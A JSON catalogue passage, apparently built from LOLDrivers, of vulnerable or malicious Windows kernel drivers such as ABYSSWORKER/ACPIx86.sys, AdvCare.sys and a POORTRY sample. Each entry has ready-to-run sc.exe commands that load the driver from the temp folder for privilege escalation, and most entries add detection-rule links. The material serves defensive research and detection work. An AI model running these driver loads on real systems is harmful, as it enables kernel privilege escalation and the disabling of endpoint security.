      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-ace-base",
    "name": "ACE-BASE.sys",
    "namespace": "windows:kernel:ace-base",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ACPIx86.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ACPIx86.sys type=kernel && sc.exe start ACPIx86.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ACPIx86.sys\"\n\n# ACPIx86.sys\n\nABYSSWORKER is a malicious driver used in MEDUSA ransomware attacks to disable EDR systems. The driver masquerades as a legitimate CrowdStrike Falcon driver and provides extensive capabilities to terminate processes, remove security callbacks, manipulate files, and disable security tools. It uses stolen certificates from Chinese companies and requires a specific password for activation. The driver was observed being deployed alongside HEARTCRYPT-packed loaders and provides attackers with kernel-level capabilities to blind EDR products by removing notification callbacks, detaching mini-filter devices, and replacing driver major functions.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-acpix86.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "ABYSSWORKER is a malicious driver used in MEDUSA ransomware attacks to disable EDR systems. The driver masquerades as a legitimate CrowdStrike Falcon driver and provides extensive capabilities to terminate processes, remove security callbacks, manipulate files, and disable security tools. It uses stolen certificates from Chinese companies and requires a specific password for activation. The driver was observed being deployed alongside HEARTCRYPT-packed loaders and provides attackers with kern...",
    "execution": {
      "template": "sc.exe create ACPIx86.sys binPath=C:\\windows\\temp\\ACPIx86.sys type=kernel && sc.exe start ACPIx86.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-acpix86",
    "install": [
      {
        "method": "custom",
        "description": "Load ACPIx86.sys kernel driver",
        "commands": [
          "sc.exe create ACPIx86.sys binPath=C:\\windows\\temp\\ACPIx86.sys type=kernel && sc.exe start ACPIx86.sys"
        ]
      }
    ],
    "name": "ACPIx86.sys",
    "namespace": "windows:kernel:acpix86",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.elastic.co/security-labs/abyssworker"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ADRMDRVSYS binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ADRMDRVSYS.sys type=kernel && sc.exe start ADRMDRVSYS\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ADRMDRVSYS.sys\"\n\n# ADRMDRVSYS.sys\n\nNorthwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 8.8, indicating a privilege escalation impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-adrmdrvsys.md",
    "author": "Northwave Cyber Security",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Northwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 8.8, indicating a privilege escalation impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.",
    "execution": {
      "template": "sc.exe create ADRMDRVSYS binPath=C:\\windows\\temp\\ADRMDRVSYS.sys type=kernel && sc.exe start ADRMDRVSYS",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-adrmdrvsys",
    "install": [
      {
        "method": "custom",
        "description": "Load ADRMDRVSYS.sys kernel driver",
        "commands": [
          "sc.exe create ADRMDRVSYS binPath=C:\\windows\\temp\\ADRMDRVSYS.sys type=kernel && sc.exe start ADRMDRVSYS"
        ]
      }
    ],
    "name": "ADRMDRVSYS.sys",
    "namespace": "windows:kernel:adrmdrvsys",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://northwave-cybersecurity.com/vulnerability-notice-adlink-pxi-platform-services?hsLang=en"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ADV64DRV.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ADV64DRV.sys type=kernel && sc.exe start ADV64DRV.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ADV64DRV.sys\"\n\n# ADV64DRV.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-adv64drv.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "other",
        "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules"
      },
      {
        "type": "other",
        "description": "Utilize Windows Event Code 7045 to monitor for new kernel driver installation."
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/04a85e359525d662338cae86c1e59b1d7aa9bd12b920e8067503723dc1e03162.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create ADV64DRV.sys binPath=C:\\windows\\temp\\ADV64DRV.sys type=kernel && sc.exe start ADV64DRV.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-adv64drv",
    "install": [
      {
        "method": "custom",
        "description": "Load ADV64DRV.sys kernel driver",
        "commands": [
          "sc.exe create ADV64DRV.sys binPath=C:\\windows\\temp\\ADV64DRV.sys type=kernel && sc.exe start ADV64DRV.sys"
        ]
      }
    ],
    "name": "ADV64DRV.sys",
    "namespace": "windows:kernel:adv64drv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AdvCare binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\AdvCare.sys type=kernel && sc.exe start AdvCare\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AdvCare.sys\"\n\n# AdvCare.sys\n\nAdvCare.sys is a legacy hardware health monitor driver from Advantech Co., Ltd. for industrial PCs and embedded boards. The driver exposes arbitrary MSR read/write (wrmsr/rdmsr with no validation), arbitrary physical memory read/write via MmMapIoSpace, unrestricted port I/O across all 65536 ports, and PCI configuration space read/write via HalGetBusDataByOffset/HalSetBusDataByOffset. The device is created with IoCreateDevice (no DACL) and IRP_MJ_CREATE returns STATUS_SUCCESS unconditionally with zero caller validation -- no admin check, no token check, no integrity check. Any unprivileged local user can open the device and invoke every primitive. The driver is also available in the KeServiceDescriptorTable/vulnerable-drivers repository on GitHub.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-advcare.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "AdvCare.sys is a legacy hardware health monitor driver from Advantech Co., Ltd. for industrial PCs and embedded boards. The driver exposes arbitrary MSR read/write (wrmsr/rdmsr with no validation), arbitrary physical memory read/write via MmMapIoSpace, unrestricted port I/O across all 65536 ports, and PCI configuration space read/write via HalGetBusDataByOffset/HalSetBusDataByOffset. The device is created with IoCreateDevice (no DACL) and IRP_MJ_CREATE returns STATUS_SUCCESS unconditionally w...",
    "execution": {
      "template": "sc.exe create AdvCare binPath=C:\\windows\\temp\\AdvCare.sys type=kernel && sc.exe start AdvCare",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "requires-root",
      "streaming"
    ],
    "id": "windows-kernel-advcare",
    "install": [
      {
        "method": "custom",
        "description": "Load AdvCare.sys kernel driver",
        "commands": [
          "sc.exe create AdvCare binPath=C:\\windows\\temp\\AdvCare.sys type=kernel && sc.exe start AdvCare"
        ]
      }
    ],
    "name": "AdvCare.sys",
    "namespace": "windows:kernel:advcare",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/306"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Afd.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Afd.sys type=kernel && sc.exe start Afd.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Afd.sys\"\n\n# Afd.sys\n\nWindows Ancillary Function Driver (Afd.sys) for WinSock is vulnerable to an Elevation of Privilege Vulnerability.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-afd.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Windows Ancillary Function Driver (Afd.sys) for WinSock is vulnerable to an Elevation of Privilege Vulnerability.",
    "execution": {
      "template": "sc.exe create Afd.sys binPath=C:\\windows\\temp\\Afd.sys type=kernel && sc.exe start Afd.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-afd",
    "install": [
      {
        "method": "custom",
        "description": "Load Afd.sys kernel driver",
        "commands": [
          "sc.exe create Afd.sys binPath=C:\\windows\\temp\\Afd.sys type=kernel && sc.exe start Afd.sys"
        ]
      }
    ],
    "name": "Afd.sys",
    "namespace": "windows:kernel:afd",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/x-force/patch-tuesday-exploit-wednesday-pwning-windows-ancillary-function-driver-winsock/"
      },
      {
        "label": "Reference",
        "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21768"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Agent64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Agent64.sys type=kernel && sc.exe start Agent64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Agent64.sys\"\n\n# Agent64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-agent64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/05f052c64d192cf69a462a5ec16dda0d43ca5d0245900c9fcb9201685a2e7748.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/4045ae77859b1dbf13972451972eaaf6f3c97bea423e9e78f1c2f14330cd47ca.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/6948480954137987a0be626c24cf594390960242cd75f094cd6aaa5c2e7a54fa.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/8cb62c5d41148de416014f80bd1fd033fd4d2bd504cb05b90eeb6992a382d58f.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/b1d96233235a62dbb21b8dbe2d1ae333199669f67664b107bff1ad49b41d9414.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create Agent64.sys binPath=C:\\windows\\temp\\Agent64.sys type=kernel && sc.exe start Agent64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-agent64",
    "install": [
      {
        "method": "custom",
        "description": "Load Agent64.sys kernel driver",
        "commands": [
          "sc.exe create Agent64.sys binPath=C:\\windows\\temp\\Agent64.sys type=kernel && sc.exe start Agent64.sys"
        ]
      }
    ],
    "name": "Agent64.sys",
    "namespace": "windows:kernel:agent64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AIDA64Driver binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\AIDA64Driver.sys type=kernel && sc.exe start AIDA64Driver\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AIDA64Driver.sys\"\n\n# AIDA64Driver.sys\n\nAIDA64Driver.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-aida64driver.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "AIDA64Driver.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create AIDA64Driver binPath=C:\\windows\\temp\\AIDA64Driver.sys type=kernel && sc.exe start AIDA64Driver",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-aida64driver",
    "install": [
      {
        "method": "custom",
        "description": "Load AIDA64Driver.sys kernel driver",
        "commands": [
          "sc.exe create AIDA64Driver binPath=C:\\windows\\temp\\AIDA64Driver.sys type=kernel && sc.exe start AIDA64Driver"
        ]
      }
    ],
    "name": "AIDA64Driver.sys",
    "namespace": "windows:kernel:aida64driver",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Air_SYSTEM10.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Air_SYSTEM10.sys     type=kernel && sc.exe start Air_SYSTEM10.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Air_SYSTEM10.sys\"\n\n# Air_SYSTEM10.sys\n\nDriver categorized as POORTRY by Mandiant.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-air-system10.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver categorized as POORTRY by Mandiant.",
    "execution": {
      "template": "sc.exe create Air_SYSTEM10.sys binPath=C:\\windows\\temp\\Air_SYSTEM10.sys     type=kernel && sc.exe start Air_SYSTEM10.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-air-system10",
    "install": [
      {
        "method": "custom",
        "description": "Load Air_SYSTEM10.sys kernel driver",
        "commands": [
          "sc.exe create Air_SYSTEM10.sys binPath=C:\\windows\\temp\\Air_SYSTEM10.sys     type=kernel && sc.exe start Air_SYSTEM10.sys"
        ]
      }
    ],
    "name": "Air_SYSTEM10.sys",
    "namespace": "windows:kernel:air-system10",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ALSysIO64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ALSysIO64.sys type=kernel && sc.exe start ALSysIO64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ALSysIO64.sys\"\n\n# ALSysIO64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-alsysio64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/7196187fb1ef8d108b380d37b2af8efdeb3ca1f6eefd37b5dc114c609147216d.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/7f375639a0df7fe51e5518cf87c3f513c55bc117db47d28da8c615642eb18bfa.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/119c48b79735fda0ecd973d77d9bdc6b329960caed09b38ab454236ca039d280.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create ALSysIO64.sys binPath=C:\\windows\\temp\\ALSysIO64.sys type=kernel && sc.exe start ALSysIO64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-alsysio64",
    "install": [
      {
        "method": "custom",
        "description": "Load ALSysIO64.sys kernel driver",
        "commands": [
          "sc.exe create ALSysIO64.sys binPath=C:\\windows\\temp\\ALSysIO64.sys type=kernel && sc.exe start ALSysIO64.sys"
        ]
      }
    ],
    "name": "ALSysIO64.sys",
    "namespace": "windows:kernel:alsysio64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Amd_RPMC_BiosToolCommonDriver binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Amd_RPMC_BiosToolCommonDriver.sys type=kernel && sc.exe start Amd_RPMC_BiosToolCommonDriver\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Amd_RPMC_BiosToolCommonDriver.sys\"\n\n# Amd_RPMC_BiosToolCommonDriver.sys\n\nAmd_RPMC_BiosToolCommonDriver.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-amd-rpmc-biostoolcommondriver.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Amd_RPMC_BiosToolCommonDriver.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create Amd_RPMC_BiosToolCommonDriver binPath=C:\\windows\\temp\\Amd_RPMC_BiosToolCommonDriver.sys type=kernel && sc.exe start Amd_RPMC_BiosToolCommonDriver",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-amd-rpmc-biostoolcommondriver",
    "install": [
      {
        "method": "custom",
        "description": "Load Amd_RPMC_BiosToolCommonDriver.sys kernel driver",
        "commands": [
          "sc.exe create Amd_RPMC_BiosToolCommonDriver binPath=C:\\windows\\temp\\Amd_RPMC_BiosToolCommonDriver.sys type=kernel && sc.exe start Amd_RPMC_BiosToolCommonDriver"
        ]
      }
    ],
    "name": "Amd_RPMC_BiosToolCommonDriver.sys",
    "namespace": "windows:kernel:amd-rpmc-biostoolcommondriver",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AMDPowerProfiler.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\AMDPowerProfiler.sys     type=kernel && sc.exe start AMDPowerProfiler.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AMDPowerProfiler.sys\"\n\n# AMDPowerProfiler.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-amdpowerprofiler.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/0af5ccb3d33a9ba92071c9637be6254030d61998733a5eb3583e865e17844e05.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create AMDPowerProfiler.sys binPath=C:\\windows\\temp\\AMDPowerProfiler.sys     type=kernel && sc.exe start AMDPowerProfiler.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "requires-root"
    ],
    "id": "windows-kernel-amdpowerprofiler",
    "install": [
      {
        "method": "custom",
        "description": "Load AMDPowerProfiler.sys kernel driver",
        "commands": [
          "sc.exe create AMDPowerProfiler.sys binPath=C:\\windows\\temp\\AMDPowerProfiler.sys     type=kernel && sc.exe start AMDPowerProfiler.sys"
        ]
      }
    ],
    "name": "AMDPowerProfiler.sys",
    "namespace": "windows:kernel:amdpowerprofiler",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/elastic/protections-artifacts/search?q=VulnDriver"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
